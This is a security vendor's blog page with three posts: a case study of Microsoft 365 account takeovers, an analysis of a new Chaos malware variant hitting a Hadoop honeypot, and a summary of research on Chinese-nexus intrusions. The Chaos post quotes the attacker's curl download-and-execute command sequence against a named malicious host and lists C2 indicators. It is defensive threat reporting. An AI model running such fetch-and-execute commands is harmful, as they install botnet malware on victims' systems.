Blog
/
/
June 7, 2020

How Darktrace AI Identified Microsoft 365 Breaches

We cover two real cases on how Darktrace stopped Microsoft 365 account takeovers by correlating insights across SaaS applications & email activity.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
07
Jun 2020

Social engineering’. ‘Credential theft’. ‘Account takeover’. If you were a fly on the wall of a Security Operations Center in 2020, you would have heard these phrases far more often than ‘banking trojan’, ‘SQL injection’ or ‘exploit kit’. The reason for this is simple – the reality for most security teams now is that their perimeter has shifted into the cloud. Identities are being attacked more than devices.

Microsoft 365 account compromise’ is the current favorite, with 29% of organizations reporting a related incident in one month alone. Security teams struggle with these attacks because the evidence needed to detect them is scattered across the enterprise: they begin via email, are executed over the network, and progress in the cloud. This broad and spread out digital footprint means that following the breadcrumbs is not easy.

Darktrace’s Cyber AI Platform is designed to understand a user’s behavior as they move between devices and cloud services, tracking their activity to identify a compromise. To help understand how these attacks avoid detection, it is useful to look at a couple of examples of Microsoft Office 365 compromise detected recently in one of our customers.

Microsoft 365 compromised to launch external email threat

A Microsoft 365 account was recently compromised at a public accounting firm based in the United States. Darktrace initially picked up on several anomalies, including a sudden surge in outbound email traffic as well as the unusual login location – while the company and nearly all of its users were located in Wisconsin, an IP address located in Kansas was used to log in to the Microsoft 365 account. Along with the unusual login, a login to Microsoft Teams from the same Kansas IP address was detected.

Figure 1: Just after the new email rule was created, a Microsoft Teams 100% rare IP login occurred.

‘Impossible travel’ rules alone would have missed these anomalies, but an understanding of activity and behavior across different SaaS applications allowed Darktrace’s AI to recognize these events as one systematic case of credential theft. When the threat-actor subsequently created a new email rule, Darktrace was able to connect this event with the other anomalous behavior and understand its potentially malicious nature.

Figure 2: Darktrace’s SaaS Module noted a 100% rare IP logging into the user’s Microsoft 365 account and the creation of a new mailbox rules. All factors indicated 100% unusual SaaS activity.

Five minutes later, Antigena Email alerted on a large number of outbound emails containing a generic subject line and an attached PDF. The technology also detected that there was a clear spike in outbound emails from this user and flagged each of these emails with the “Out of Character” tag, which in this case denoted a change from normal behavior with the surge in recipients, and likely internal compromise.

Figure 3: Antigena Email detected a surge in recipients that indicated a serious breach of normal behavior for this user.

The unusual login behavior detected by Darktrace’s SaaS Module could be connected to the anomalous outbound email behavior flagged by Antigena Email, allowing the security team to see the extent of the attack and neutralize it as it emerged. It was clear that the account was being used to engage in malicious activity, as each of the 220 outbound emails used a generic subject line and contained a suspicious attachment. The security team therefore immediately disabled the compromised account.

Figure 4: A recreation of the email sent by the attacker, containing the malicious attachment.

‘Change of bank details’ sent from accounts department

When an Accounts Department’s Microsoft 365 account was compromised and used to send targeted phishing emails, Darktrace was able to track the attacker’s movement within the inbox, tying together information from Darktrace’s SaaS Module with Antigena Email’s alerts to understand the full picture of the threat and stop the attack.

The SaaS account appears to have been compromised via an inbound spear phishing attack, or some other form of attack that occurred before Darktrace began monitoring the organization. While Darktrace Cyber AI had no oversight of the initial compromise, it was still able to distinguish later attacker behavior as malicious, based on its actively evolving understanding of the organization and its workforce.

When the account user logged in from a 100% rare French IP address, Darktrace’s SaaS Module picked up on the anomaly immediately, and further detected a series of activities carried out after the unusual login. At the same time, Antigena Email noted an email being sent.

Figure 5: The login from a French IP was noted as 100% rare for this user and SaaS account.

Darktrace then identified more activity occurring from a second rare login location, a Swiss IP address. Very little email activity occurred when the account was logged in from this IP. Instead, Cyber AI saw the threat-actor using their illegitimate SaaS access to view information on the legitimate account user and files related to banking, invoices, and payments.

Antigena Email then identified a series of email communications that, when seen in the context of the SaaS account compromise, pointed to a clear threat. There were no obvious malicious attachments or links in the emails. However, the subject of the final reply was ‘Change of Bank Details’, and the email prompted a high Solicitation Inducement Score within Antigena Email, strongly implying that the malicious actor had sent emails instructing the destination to change payment details in order to route money to the attacker, instead of the company.

It seems the attackers went through the banking and invoicing files in order to find a customer with a big bill to pay, then used the compromised email account to launch an outbound phishing attack, changing the billing details. With Darktrace AI correlating information within the SaaS platform and insights from Antigena Email, this targeted phishing attack could be contained before further compromise or damage could occur.

The below screenshot also indicates a series of inbox processing rules made on the compromised account, showing actions that are typical of an account takeover.

Figure 6: Darktrace’s records of new inbox rules being set up on the compromised SaaS account.

The benefits of a unified approach

These stories are all too familiar. Most security tools would not be able to take action on any one of these steps individually. But the combination reveals the tell-tale sign of a Microsoft 365 account hijack. Organizations are struggling to manage their user identities across their cloud infrastructure, and rule and policy-based detection is no longer feasible.

However, by learning identities and behavior across the enterprise, Darktrace is able to detect, and seamlessly respond, to combat these threats. Hundreds of organizations are now using Antigena Email to protect their email and cloud environments continuously, trusting it to dynamically enforce MFA, lock accounts, block network traffic, and withhold emails when necessary.

As cloud-native applications become more popular, organizations face the growing problem of separate end-to-end security solutions for each type of workload. With Antigena Email working in conjunction with Darktrace’s Enterprise Immune System, defenders can be assured that a single, unified platform is tracking every suspicious behavior, wherever it arises in the organization.

Learn more about Antigena Email

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

More in this series

No items found.

Blog

/

/

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI